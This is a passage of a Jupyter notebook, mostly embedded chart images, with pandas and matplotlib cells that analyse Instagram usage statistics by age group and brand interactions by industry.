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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG6.csv\", header=0, sep=',')\n", + "print(\"Instagram users who use app multiple times per day, by age\")\n", + "print(stats)\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0]) #get o col\n", + "y = list(df.iloc[:, 1]) #get 1 col\n", + "\n", + "\n", + "plt.title(\"Instagram users who use app multiple times per day, by age\")\n", + "plt.pie(y, labels=(x)) #plot pie chart \n", + "plt.xlabel(\"Age Groups\") #label of x-axis\n", + "plt.show() #show plotting" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram v/s Other Channels :\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram brand interactions by industry : " + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram brand interactions by industry\n", + " Industry Percentage_of_total_interactions_Q3_2020\n", + "0 Fashion 24.7\n", + "1 Ecommerce 20.3\n", + "2 Beauty 11.1\n", + "3 Auto 9.4\n", + "4 Retail 9.2\n", + "5 Electronics 5.0\n", + "6 Services 4.1\n", + "7 Sporting Goods 3.7\n", + "8 Others 12.4\n", + "Instagram brand interactions by industry\n", + "_________________________________________________________________________________________________________________________\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAbAAAAD4CAYAAACNMrOfAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAeU0lEQVR4nO3df3RdZZ3v8feHUOVAKxmkekkupY5CEIk09BQHAQVlmRnH0dBBC+JV0GvFKyB6zR06OIqOTNDgOAOKTkUEHJSqxIjoJSjyQ28RmpDSFDA4ozCulAVhMNDCoYbwvX+cJ8xpSJqkOc3Jzvm81so6+zzn2c/+7r0O+bCfvZutiMDMzCxr9qh0AWZmZrvCAWZmZpnkADMzs0xygJmZWSY5wMzMLJP2rHQB1WT//fePpUuXVroMM7NM6enpeSwiFo9td4DNoqVLl9Ld3V3pMszMMkXSQ+O1ewrRzMwyyQFmZmaZ5AAzM7NMcoCZmVkmOcDMzCyT5t1diJL+O/AV4DCKAX0D0Jre10XET1K/C4BtEXFxhUo1m1Bn7wDtXf1sGSpQV5ujtbmBlqb6SpdlNqfMqzMwSQI6gM6IOBg4BFgIXAgsA95axm3VlGsss1KdvQOs6ehjYKhAAANDBdZ09NHZO1Dp0szmlHkVYMCbgGci4psAETECfAz4n8AXgFWSNkpalfofJulWSb+VdM7oIJLeI+mu1PdfRsNK0jZJn5V0J3C0pIsk3SdpkySfyVlZtHf1Uxge2aGtMDxCe1d/hSoym5vmW4C9BugpbYiIJ4EHgc8B6yJiWUSsSx8fCjQDRwGflrRA0quBVcAxEbEMGAFOS/33ATZHxOuA+4CTgNdExGvT+C8gabWkbkndg4OD5dtTm7e2DBWm1W5WreZbgAkY7wmdE7X/OCK2R8RjwKPAy4E3A8uBDZI2pvd/mvqPANel5SeBZ4DLJa0Enh6voIhYGxH5iMgvXvyCv4Ri9gJ1tblptZtVq/kWYPcC+dIGSS8BDqQYPmNtL1keoXhTi4Cr0pnasohoiIgLUp9n0rQkEfEsxTO364AW4MYy7odVsdbmBnILdrzEmltQQ2tzQ4UqMpub5luA3QzsLem98PyNFl8ErgQeARZNcYyTJb0sjbGfpIPGdpK0ENg33dV4LsWbRMxmrKWpnraVjdTX5hBQX5ujbWWj70I0G2Ne3UYfESHpJOAySX9HMaB/AvwtxetX56VpwbadjHGfpE8CN0naAxgGPgKM/WOSi4AfStqL4lnbx8q9P1a9WprqHVhmk1DEeJeGbHfI5/Phv0ZvZjY9knoiIj+2fb5NIZqZWZVwgJmZWSY5wMzMLJMcYGZmlkkOMDMzyyQHmJmZZZIDzMzMMskBZmZmmeQAMzOzTHKAmZlZJjnAzMwskxxgZmaWSQ4wMzPLJAeYmZllkgPMzMwyyQFmZmaZNOkTmSWdD7wbGAGeAz4UEXfOdMOSjgf+GBHr0/szgacj4uoyjL0n8FngncBTqfl7EXFhGca+ANgWERfPdKyp6OwdoL2rny1DBepqc7Q2N/hJvWZmTBJgko4G3gYcGRHbJe0PvGimG00BczywDVgPEBFfm+m4JT4H/DegMSKekbQI+N9lHH9WdPYOsKajj8LwCAADQwXWdPQBOMTMrOpNNoV4APBYRGwHiIjHImILgKQHJ